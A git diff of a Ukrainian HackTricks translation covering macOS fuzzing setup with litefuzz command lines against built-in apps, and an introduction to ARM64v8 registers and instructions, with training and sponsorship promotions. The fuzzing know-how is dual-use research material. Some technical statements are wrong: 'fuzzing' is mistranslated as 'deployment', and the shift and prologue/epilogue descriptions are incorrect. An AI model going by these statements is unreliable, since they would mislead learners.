Для демонів, інших процесів, що **працюють в контексті запуску системи** та інших привілейованих процесів, ReportCrash працює як LaunchDaemon і зберігає звіти про збої в `/Library/Logs/DiagnosticReports`
|
||||
|
||||
Якщо вас турбують звіти про збої, **які надсилаються в Apple**, ви можете їх вимкнути. Якщо ні, звіти про збої можуть бути корисними для **визначення причини збою сервера**.
|
||||
```bash
|
||||
|
@ -403,7 +532,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root.
|
|||
```
|
||||
### Сон
|
||||
|
||||
Під час фаззингу в MacOS важливо не дозволяти Mac спати:
|
||||
Під час розгортання в MacOS важливо не дозволяти Mac спати:
|
||||
|
||||
* systemsetup -setsleep Never
|
||||
* pmset, System Preferences
|
||||
|
@ -411,7 +540,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root.
|
|||
|
||||
#### Відключення SSH
|
||||
|
||||
Якщо ви фаззуєте через SSH-з'єднання, важливо переконатися, що сеанс не завершиться. Тому змініть файл sshd\_config наступним чином:
|
||||
Якщо ви розгортаєте через SSH-з'єднання, важливо переконатися, що сеанс не завершиться. Тому змініть файл sshd\_config наступним чином:
|
||||
|
||||
* TCPKeepAlive Yes
|
||||
* ClientAliveInterval 0
|
||||
|
@ -457,11 +586,9 @@ lldb -o "target create `which some-binary`" -o "settings set target.env-vars DYL
|
|||
|
||||
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
|
||||
|
||||
Він "**просто працює"** з інструментами GUI macOS. Зверніть увагу, що деякі програми macOS мають певні вимоги, такі як унікальні імена файлів, правильне розширення, потрібно читати файли з пісочниці (`~/Library/Containers/com.apple.Safari/Data`)...
|
||||
Він "**просто працює"** з інструментами GUI macOS. Зверніть увагу, що деякі додатки macOS мають певні вимоги, такі як унікальні імена файлів, правильне розширення, потрібно читати файли з пісочниці (`~/Library/Containers/com.apple.Safari/Data`)...
|
||||
|
||||
Деякі приклади:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# iBooks
|
||||
litefuzz -l -c "/System/Applications/Books.app/Contents/MacOS/Books FUZZ" -i files/epub -o crashes/ibooks -t /Users/test/Library/Containers/com.apple.iBooksX/Data/tmp -x 10 -n 100000 -ez
|
||||
|
@ -501,16 +628,29 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
|
|||
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||
* [**The Art of Mac Malware: The Guide to Analyzing Malicious Software**](https://taomm.org/)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) - це пошуковий двигун, який працює на **темному веб-сайті** і надає **безкоштовні** функціональні можливості для перевірки, чи були **компанія або її клієнти** **пошкоджені** **шкідливими програмами для крадіжки інформації**.
|
||||
|
||||
Основною метою WhiteIntel є боротьба з захопленням облікових записів та атаками вимагання викупу, що виникають внаслідок шкідливих програм для крадіжки інформації.
|
||||
|
||||
Ви можете перевірити їх веб-сайт та спробувати їх двигун **безкоштовно** за посиланням:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний мерч PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,40 +1,34 @@
|
|||
# Introduction to ARM64v8
|
||||
# Вступ до ARM64v8
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Рівні винятків - EL (ARM64v8)**
|
||||
|
||||
У архітектурі ARMv8 рівні виконання, відомі як Рівні Винятків (EL), визначають рівень привілегій та можливості середовища виконання. Існує чотири рівні винятків, від EL0 до EL3, кожен служить різним цілям:
|
||||
У архітектурі ARMv8 рівні виконання, відомі як Рівні винятків (EL), визначають рівень привілеїв та можливості середовища виконання. Існує чотири рівні винятків, від EL0 до EL3, кожен служить різним цілям:
|
||||
|
||||
1. **EL0 - Режим користувача**:
|
||||
|
||||
* Це найменш привілейований рівень і використовується для виконання звичайного програмного коду.
|
||||
* Додатки, що працюють на рівні EL0, ізольовані одне від одного та від системного програмного забезпечення, що підвищує безпеку та стабільність.
|
||||
|
||||
* Додатки, що працюють на EL0, ізольовані один від одного та від системного програмного забезпечення, підвищуючи безпеку та стабільність.
|
||||
2. **EL1 - Режим ядра операційної системи**:
|
||||
|
||||
* Більшість ядер операційних систем працюють на цьому рівні.
|
||||
* EL1 має більше привілеїв, ніж EL0 та може отримувати доступ до ресурсів системи, але з деякими обмеженнями для забезпечення цілісності системи.
|
||||
|
||||
3. **EL2 - Режим гіпервізора**:
|
||||
|
||||
* Цей рівень використовується для віртуалізації. Гіпервізор, що працює на рівні EL2, може керувати кількома операційними системами (кожна у власному EL1), що працюють на одному фізичному обладнанні.
|
||||
* Цей рівень використовується для віртуалізації. Гіпервізор, що працює на EL2, може керувати кількома операційними системами (кожна у власному EL1), що працюють на одному фізичному обладнанні.
|
||||
* EL2 надає можливості для ізоляції та керування віртуалізованими середовищами.
|
||||
|
||||
4. **EL3 - Режим монітора безпеки**:
|
||||
|
||||
4. **EL3 - Режим безпечного монітора**:
|
||||
* Це найбільш привілейований рівень і часто використовується для безпечного завантаження та довірених середовищ виконання.
|
||||
* EL3 може керувати та контролювати доступи між безпечними та небезпечними станами (наприклад, безпечний запуск, довірена ОС тощо).
|
||||
|
||||
|
@ -45,46 +39,35 @@
|
|||
У ARM64 є **31 регістр загального призначення**, позначених як `x0` до `x30`. Кожен може зберігати значення **64 біт** (8 байт). Для операцій, які вимагають лише значень 32 біт, до тих же регістрів можна отримати доступ у режимі 32 біт за допомогою імен w0 до w30.
|
||||
|
||||
1. **`x0`** до **`x7`** - Зазвичай використовуються як регістри-запаси та для передачі параметрів у підпрограми.
|
||||
|
||||
* **`x0`** також містить дані повернення функції.
|
||||
|
||||
2. **`x8`** - У ядрі Linux, `x8` використовується як номер системного виклику для інструкції `svc`. **У macOS використовується x16!**
|
||||
3. **`x9`** до **`x15`** - Додаткові тимчасові регістри, часто використовуються для локальних змінних.
|
||||
4. **`x16`** та **`x17`** - **Регістри внутрішньопроцедурного виклику**. Тимчасові регістри для негайних значень. Їх також використовують для непрямих викликів функцій та заготовок PLT (Procedure Linkage Table).
|
||||
|
||||
4. **`x16`** та **`x17`** - **Регістри внутрішньопроцедурного виклику**. Тимчасові регістри для негайних значень. Їх також використовують для непрямих викликів функцій та заготовок PLT (Таблиця зв'язку процедур).
|
||||
* **`x16`** використовується як **номер системного виклику** для інструкції **`svc`** в **macOS**.
|
||||
|
||||
5. **`x18`** - **Регістр платформи**. Його можна використовувати як регістр загального призначення, але на деяких платформах цей регістр зарезервований для платформено-специфічних використань: Вказівник на поточний блок середовища потоку в Windows або вказівник на поточну **структуру завдання, що виконується в ядрі Linux**.
|
||||
5. **`x18`** - **Регістр платформи**. Його можна використовувати як регістр загального призначення, але на деяких платформах цей регістр зарезервований для платформено-специфічних використань: Вказівник на поточний блок середовища потоку в Windows або вказівник на поточну **структуру завдання в ядрі Linux**.
|
||||
6. **`x19`** до **`x28`** - Це регістри, які зберігаються викликачем. Функція повинна зберігати значення цих регістрів для свого викликача, тому вони зберігаються в стеку та відновлюються перед поверненням до викликача.
|
||||
7. **`x29`** - **Вказівник рамки** для відстеження стекової рамки. Коли створюється нова стекова рамка через виклик функції, регістр **`x29`** зберігається в стеку, а адреса нової рамки (**адреса `sp`**) зберігається в цьому реєстрі.
|
||||
|
||||
7. **`x29`** - **Вказівник рамки** для відстеження стекової рамки. Коли створюється нова стекова рамка через виклик функції, регістр **`x29`** зберігається в стеці, а адреса нової рамки (**адреса `sp`**) зберігається в цьому реєстрі.
|
||||
* Цей регістр також може використовуватися як **регістр загального призначення**, хоча зазвичай використовується як посилання на **локальні змінні**.
|
||||
|
||||
8. **`x30`** або **`lr`** - **Регістр посилання**. Він містить **адресу повернення**, коли виконується інструкція `BL` (Branch with Link) або `BLR` (Branch with Link to Register), зберігаючи значення **`pc`** в цьому регістрі.
|
||||
|
||||
8. **`x30`** або **`lr`** - **Регістр посилання**. Він містить **адресу повернення**, коли виконується інструкція `BL` (Гілка з посиланням) або `BLR` (Гілка з посиланням на реєстр), зберігаючи значення **`pc`** в цьому регістрі.
|
||||
* Його також можна використовувати як будь-який інший регістр.
|
||||
* Якщо поточна функція збирається викликати нову функцію і, отже, перезаписати `lr`, вона збереже його в стеку на початку, це епілог (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Зберегти `fp` та `lr`, створити простір та отримати новий `fp`) та відновить його в кінці, це пролог (`ldp x29, x30, [sp], #48; ret` -> Відновити `fp` та `lr` та повернутися).
|
||||
|
||||
* Якщо поточна функція збирається викликати нову функцію та, отже, перезаписувати `lr`, вона збереже його в стеці на початку, це епілог (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Зберегти `fp` та `lr`, створити простір та отримати новий `fp`) та відновить його в кінці, це пролог (`ldp x29, x30, [sp], #48; ret` -> Відновити `fp` та `lr` та повернутися).
|
||||
9. **`sp`** - **Вказівник стеку**, використовується для відстеження верхушки стеку.
|
||||
|
||||
* значення **`sp`** завжди повинно бути збережено принаймні з **вирівнанням квадратного слова**, або може виникнути виняток вирівнювання.
|
||||
|
||||
10. **`pc`** - **Лічильник програми**, який вказує на наступну інструкцію. Цей регістр можна оновлювати лише через генерації винятків, повернення винятків та гілки. Єдині звичайні інструкції, які можуть читати цей регістр, це інструкції гілки з посиланням (BL, BLR) для збереження адреси **`pc`** в **`lr`** (Регістр посилання).
|
||||
* значення **`sp`** завжди повинно бути збережено принаймні з **вирівнюванням квадратного слова**, або може виникнути виняток вирівнювання.
|
||||
10. **`pc`** - **Лічильник програми**, який вказує на наступну інструкцію. Цей регістр можна оновлювати лише через генерацію винятків, повернення винятків та гілки. Єдині звичайні інструкції, які можуть читати цей регістр, це інструкції гілки з посиланням (BL, BLR) для збереження адреси **`pc`** в **`lr`** (Регістр посилання).
|
||||
11. **`xzr`** - **Регістр нуля**. Також називається **`wzr`** у формі регістра **32** біт. Може використовуватися для отримання нульового значення легко (загальна операція) або для виконання порівнянь за допомогою **`subs`** як **`subs XZR, Xn, #10`** зберігаючи отримані дані нікуди (у **`xzr`**).
|
||||
|
||||
Регістри **`Wn`** є версією **32 біт** регістра **`Xn`**.
|
||||
Регістри **`Wn`** є **32-бітною** версією регістра **`Xn`**.
|
||||
|
||||
### Регістри SIMD та з плаваючою комою
|
||||
|
||||
Крім того, є ще **32 регістри довжиною 128 біт**, які можна використовувати в оптимізованих операціях одночасного виконання кількох даних (SIMD) та для виконання операцій з плаваючою комою. Їх називають регістрами Vn, хоча вони також можуть працювати в режимах **64**-біт, **32**-біт, **16**-біт та **8**-біт, і тоді їх називають **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** та **`Bn`**.
|
||||
|
||||
Крім того, є ще **32 регістри довжиною 128 біт**, які можна використовувати в оптимізованих операціях з однією інструкцією для кількох даних (SIMD) та для виконання операцій з плаваючою комою. Їх називають регістрами Vn, хоча вони також можуть працювати в режимах **64**-бітному, **32**-бітному, **16**-бітному та **8**-бітному, тоді вони називаються **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** та **`Bn`**.
|
||||
### Реєстри системи
|
||||
|
||||
**Існує сотні реєстрів системи**, також називаних реєстрами спеціального призначення (SPR), які використовуються для **моніторингу** та **контролю** **поведінки процесорів**.\
|
||||
Їх можна читати або встановлювати лише за допомогою спеціальної інструкції **`mrs`** та **`msr`**.
|
||||
|
||||
Спеціальні реєстри **`TPIDR_EL0`** та **`TPIDDR_EL0`** часто зустрічаються при зворотньому проектуванні. Суфікс `EL0` вказує на **мінімальне виключення**, з якого можна отримати доступ до реєстру (у цьому випадку EL0 - це звичайний рівень виключення (привілей), на якому працюють звичайні програми).\
|
||||
Їх часто використовують для зберігання **базової адреси області пам'яті локального сховища потоку**. Зазвичай перший може бути прочитаний та записаний програмами, що працюють на EL0, але другий може бути прочитаний з EL0 та записаний з EL1 (як ядро).
|
||||
Спеціальні реєстри **`TPIDR_EL0`** та **`TPIDDR_EL0`** часто зустрічаються при реверсному проектуванні. Суфікс `EL0` вказує на **мінімальне виключення**, з якого можна отримати доступ до реєстру (у цьому випадку EL0 - це звичайний рівень виключення (привілей), на якому працюють звичайні програми).\
|
||||
Їх часто використовують для зберігання **базової адреси області пам'яті локального сховища потоку**. Зазвичай перший доступний для читання та запису для програм, що працюють на EL0, але другий може бути прочитаний з EL0 та записаний з EL1 (як ядро).
|
||||
|
||||
* `mrs x0, TPIDR_EL0 ; Прочитати TPIDR_EL0 у x0`
|
||||
* `msr TPIDR_EL0, X0 ; Записати x0 у TPIDR_EL0`
|
||||
|
@ -94,7 +77,7 @@
|
|||
**PSTATE** містить кілька компонентів процесу, серіалізованих у видимий для операційної системи спеціальний реєстр **`SPSR_ELx`**, де X - **рівень дозволу спрацьованого** виключення (це дозволяє відновити стан процесу після завершення виключення).\
|
||||
Це доступні поля:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (724).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1196).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* Прапорці умов **`N`**, **`Z`**, **`C`** та **`V`**:
|
||||
* **`N`** означає, що операція дала від'ємний результат
|
||||
|
@ -103,7 +86,7 @@
|
|||
* **`V`** означає, що операція дала підписане переповнення:
|
||||
* Сума двох позитивних чисел дає від'ємний результат.
|
||||
* Сума двох від'ємних чисел дає позитивний результат.
|
||||
* У відніманні, коли від меншого позитивного числа віднімається велике від'ємне число (або навпаки), і результат не може бути представлений у межах заданого розміру біта.
|
||||
* У відніманні, коли від меншого позитивного числа віднімається велике від'ємне число (або навпаки), і результат не може бути представлений в межах заданого розміру бітів.
|
||||
* Очевидно, що процесор не знає, чи операція підписана чи ні, тому він буде перевіряти C та V у операціях та вказувати, чи відбувся перенос у випадку, якщо він був підписаний або непідписаний.
|
||||
|
||||
{% hint style="warning" %}
|
||||
|
@ -112,17 +95,17 @@
|
|||
|
||||
* Прапор ширини поточного **реєстра (`nRW`)**: Якщо прапорець має значення 0, програма буде працювати в стані виконання AArch64 після відновлення.
|
||||
* Поточний **рівень виключення** (**`EL`**): Звичайна програма, що працює на EL0, матиме значення 0
|
||||
* Прапор **поступового виконання** (**`SS`**): Використовується відладчиками для поетапного виконання, встановлюючи прапорець SS на 1 всередині **`SPSR_ELx`** через виключення. Програма виконає крок і видасть виняток поетапного виконання.
|
||||
* Прапор стану **недопустимого виключення** (**`IL`**): Використовується для позначення, коли привілейоване програмне забезпечення виконує недійсний перехід рівня виключення, цей прапорець встановлюється на 1, і процесор викликає незаконне виключення стану.
|
||||
* Прапори **`DAIF`**: Ці прапорці дозволяють привілейованій програмі вибірково маскувати певні зовнішні виключення.
|
||||
* Якщо **`A`** дорівнює 1, це означає, що будуть викликані **асинхронні відмови**. **`I`** налаштовує відповідь на зовнішні **запити переривань** (IRQ), а F пов'язаний з **швидкими запитами переривань** (FIR).
|
||||
* Прапори вибору вказівника стеку (**`SPS`**): Привілейовані програми, що працюють на EL1 та вище, можуть перемикатися між використанням власного реєстра вказівника стеку та реєстра користувача (наприклад, між `SP_EL1` та `EL0`). Це перемикання виконується шляхом запису в спеціальний реєстр **`SPSel`**. Це не можна зробити з EL0.
|
||||
* Прапорець **однокрокового виконання** (**`SS`**): Використовується відладчиками для однокрокового виконання, встановлюючи прапорець SS на 1 всередині **`SPSR_ELx`** через виключення. Програма виконає крок і видасть виняток одного кроку.
|
||||
* Прапор незаконного стану виключення (**`IL`**): Використовується для позначення, коли привілейоване програмне забезпечення виконує недійсний перехід рівня виключення, цей прапорець встановлюється на 1, і процесор викликає незаконне виключення стану.
|
||||
* Прапорці **`DAIF`**: Ці прапорці дозволяють привілейованій програмі вибірково маскувати певні зовнішні виключення.
|
||||
* Якщо **`A`** дорівнює 1, це означає, що будуть викликані **асинхронні відмови**. **`I`** налаштовує відповідь на зовнішні апаратні **запити переривань** (IRQ), а F пов'язаний з **швидкими запитами переривань** (FIR).
|
||||
* Прапорці вибору вказівника стеку (**`SPS`**): Привілейовані програми, що працюють на EL1 та вище, можуть перемикатися між використанням власного реєстра вказівника стеку та реєстра користувацької моделі (наприклад, між `SP_EL1` та `EL0`). Це перемикання виконується шляхом запису в спеціальний реєстр **`SPSel`**. Це не можна зробити з EL0.
|
||||
|
||||
## **Конвенція виклику (ARM64v8)**
|
||||
|
||||
Конвенція виклику ARM64 вказує, що **перші вісім параметрів** функції передаються в реєстрах **`x0` до `x7`**. **Додаткові** параметри передаються на **стек**. Результат повертається в реєстрі **`x0`**, або також в **`x1`**, якщо він має довжину 128 біт. Реєстри **`x19`** до **`x30`** та **`sp`** повинні бути **збережені** під час викликів функцій.
|
||||
Конвенція виклику ARM64 вказує, що **перші вісім параметрів** функції передаються в реєстрах **`x0` через `x7`**. **Додаткові** параметри передаються через **стек**. **Результат** повертається в реєстрі **`x0`**, або також в **`x1`**, якщо він має довжину 128 біт. Реєстри **`x19`** до **`x30`** та **`sp`** повинні бути **збережені** під час викликів функцій.
|
||||
|
||||
При читанні функції в асемблері шукайте **пролог та епілог функції**. **Пролог** зазвичай включає **збереження вказівника кадру (`x29`)**, **створення нового вказівника кадру** та **виділення місця стеку**. **Епілог** зазвичай включає **відновлення збереженого вказівника кадру** та **повернення** з функції.
|
||||
При читанні функції в асемблері шукайте **пролог та епілог функції**. **Пролог** зазвичай включає **збереження вказівника кадру (`x29`)**, **встановлення** нового **вказівника кадру** та **виділення місця стеку**. **Епілог** зазвичай включає **відновлення збереженого вказівника кадру** та **повернення** з функції.
|
||||
|
||||
### Конвенція виклику в Swift
|
||||
|
||||
|
@ -130,7 +113,7 @@
|
|||
|
||||
## **Загальні інструкції (ARM64v8)**
|
||||
|
||||
Інструкції ARM64 зазвичай мають формат `opcode dst, src1, src2`, де **`opcode`** - це **операція**, яку потрібно виконати (наприклад, `add`, `sub`, `mov`, тощо), **`dst`** - це **реєстр призначення**, де буде збережено результат, а **`src1`** та **`src2`** - **джерела** реєстрів. Також можна використовувати негайні значення замість джерелних реєстрів.
|
||||
Інструкції ARM64 зазвичай мають формат `opcode dst, src1, src2`, де **`opcode`** - це **операція**, яку слід виконати (наприклад, `add`, `sub`, `mov`, тощо), **`dst`** - це **реєстр призначення**, де буде збережено результат, а **`src1`** та **`src2`** - **джерела** реєстрів. Також можна використовувати негайні значення замість джерелних реєстрів.
|
||||
|
||||
* **`mov`**: **Перемістити** значення з одного **реєстра** в інший.
|
||||
* Приклад: `mov x0, x1` — Це переміщує значення з `x1` в `x0`.
|
||||
|
@ -151,14 +134,14 @@
|
|||
* **`ldp`**: **Завантажити пару реєстрів**. Ця інструкція **завантажує два реєстри** з **послідовних місць пам'яті**. Адреса пам'яті зазвичай формується додаванням зміщення до значення в іншому реєстрі.
|
||||
* Приклад: `ldp x0, x1, [x2]` — Це завантажує `x0` та `x1` з місць пам'яті в `x2` та `x2 + 8`, відповідно.
|
||||
* **`stp`**: **Зберегти пару реєстрів**. Ця інструкція **зберігає два реєстри** в **послідовних місцях пам'яті**. Адреса пам'яті зазвичай формується додаванням зміщення до значення в іншому реєстрі.
|
||||
* Приклад: `stp x0, x1, [sp]` — Це зберігає `x0` та `x1` в місцях пам'яті в `sp` та `sp + 8`, відповідно.
|
||||
* `stp x0, x1, [sp, #16]!` — Це зберігає `x0` та `x1` в місцях пам'яті в `sp+16` та `sp + 24`, відповідно, та оновлює `sp` на `sp+16`.
|
||||
* Приклад: `stp x0, x1, [sp]` — Це зберігає `x0` та `x1` в місця пам'яті в `sp` та `sp + 8`, відповідно.
|
||||
* `stp x0, x1, [sp, #16]!` — Це зберігає `x0` та `x1` в місця пам'яті в `sp+16` та `sp + 24`, відповідно, та оновлює `sp` на `sp+16`.
|
||||
* **`add`**: **Додати** значення двох реєстрів та зберегти результат в реєстрі.
|
||||
* Синтаксис: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
|
||||
* Синтаксис: add(s) Xn1, Xn2, Xn3 | #imm, \[зсув #N | RRX]
|
||||
* Xn1 -> Призначення
|
||||
* Xn2 -> Операнд 1
|
||||
* Xn3 | #imm -> Операнд 2 (регістр або негайний)
|
||||
* \[shift #N | RRX] -> Виконати зсув або викликати RRX
|
||||
* \[зсув #N | RRX] -> Виконати зсув або викликати RRX
|
||||
* Приклад: `add x0, x1, x2` — Це додає значення в `x1` та `x2` разом і зберігає результат в `x0`.
|
||||
* `add x5, x5, #1, lsl #12` — Це дорівнює 4096 (1 зсув 12 разів) -> 1 0000 0000 0000 0000
|
||||
* **`adds`** Це виконує `add` та оновлює прапорці
|
||||
|
@ -171,8 +154,8 @@
|
|||
* **`div`**: **Розділити** значення одного регістра на інший та зберегти результат в регістрі.
|
||||
* Приклад: `div x0, x1, x2` — Це ділить значення в `x1` на `x2` та зберігає результат в `x0`.
|
||||
* **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
|
||||
* **Логічний зсув вліво**: Додавання 0 з кінця, переміщаючи інші біти вперед (множення на n-рази 2)
|
||||
* **Логічний зсув вправо**: Додавання 1 з початку, переміщаючи інші біти назад (ділення на n-рази 2 у беззнаковому вигляді)
|
||||
* **Логічний зсув вліво**: Додавання 0 з кінця, рухаючи інші біти вперед (множення на n-рази 2)
|
||||
* **Логічний зсув вправо**: Додавання 1 з початку, рухаючи інші біти назад (ділення на n-рази 2 у беззнаковому вигляді)
|
||||
* **Арифметичний зсув вправо**: Подібно до **`lsr`**, але замість додавання 0, якщо найбільш значущий біт - 1, \*\*додаються 1 (\*\*ділення на n-рази 2 у знаковому вигляді)
|
||||
* **Поворот вправо**: Подібно до **`lsr`**, але все, що видаляється зправа, додається зліва
|
||||
* **Поворот вправо з розширенням**: Подібно до **`ror`**, але з прапорцем переносу як "найбільш значущим бітом". Таким чином, прапорець переносу переміщується на біт 31, а видалений біт - у прапорець переносу.
|
||||
|
@ -184,49 +167,49 @@
|
|||
* **`BFI X1, X2, #3, #4`** Вставити 4 біти з X2 з 3-го біту X1
|
||||
* **`BFXIL X1, X2, #3, #4`** Витягнути з 3-го біту X2 чотири біти та скопіювати їх в X1
|
||||
* **`SBFIZ X1, X2, #3, #4`** Розширити знак 4 біти з X2 та вставити їх в X1, починаючи з позиції біта 3, обнуляючи праві біти
|
||||
* **`SBFX X1, X2, #3, #4`** Витягує 4 біти, починаючи з біта 3 з X2, розширює знак та поміщає результат в X1
|
||||
* **`SBFX X1, X2, #3, #4`** Витягти 4 біти, починаючи з біту 3 з X2, розширити знак та помістити результат в X1
|
||||
* **`UBFIZ X1, X2, #3, #4`** Розширити нулями 4 біти з X2 та вставити їх в X1, починаючи з позиції біта 3, обнуляючи праві біти
|
||||
* **`UBFX X1, X2, #3, #4`** Витягує 4 біти, починаючи з біта 3 з X2 та поміщає результат з розширенням нулями в X1.
|
||||
* **`UBFX X1, X2, #3, #4`** Витягти 4 біти, починаючи з біту 3 з X2 та помістити результат з розширенням нулями в X1.
|
||||
* **Розширення знаку до X:** Розширює знак (або додає просто 0 у беззнаковій версії) значення для можливості виконання операцій з ним:
|
||||
* **`SXTB X1, W2`** Розширює знак байта **з W2 до X1** (`W2` - це половина `X2`) для заповнення 64 бітів
|
||||
* **`SXTH X1, W2`** Розширює знак 16-бітного числа **з W2 до X1** для заповнення 64 бітів
|
||||
* **`SXTW X1, W2`** Розширює знак байта **з W2 до X1** для заповнення 64 бітів
|
||||
* **`UXTB X1, W2`** Додає 0 (беззнакове) до байта **з W2 до X1** для заповнення 64 бітів
|
||||
* **`extr`:** Витягує біти з вказаної **пари конкатенованих регістрів**.
|
||||
* Приклад: `EXTR W3, W2, W1, #3` Це **конкатенує W1+W2** та отримує **від біта 3 W2 до біта 3 W1** та зберігає це в W3.
|
||||
* **`cmp`**: **Порівняти** два регістри та встановити умовні прапорці. Це **псевдонім для `subs`**, встановлюючи регістр призначення на нульовий регістр. Корисно знати, якщо `m == n`.
|
||||
* Приклад: `EXTR W3, W2, W1, #3` Це **конкатенує W1+W2** та отримує **від біту 3 W2 до біту 3 W1** та зберігає це в W3.
|
||||
* **`cmp`**: **Порівняти** два регістри та встановити умовні прапорці. Це **псевдонім `subs`**, встановлюючи регістр призначення на нульовий регістр. Корисно знати, якщо `m == n`.
|
||||
* Підтримує **той самий синтаксис, що й `subs`**
|
||||
* Приклад: `cmp x0, x1` — Це порівнює значення в `x0` та `x1` та встановлює умовні прапорці відповідно.
|
||||
* **`cmn`**: **Порівняти від'ємний** операнд. У цьому випадку це **псевдонім для `adds`** та підтримує той самий синтаксис. Корисно знати, якщо `m == -n`.
|
||||
* **`cmn`**: **Порівняти від'ємне** операнд. У цьому випадку це **псевдонім `adds`** та підтримує той самий синтаксис. Корисно знати, якщо `m == -n`.
|
||||
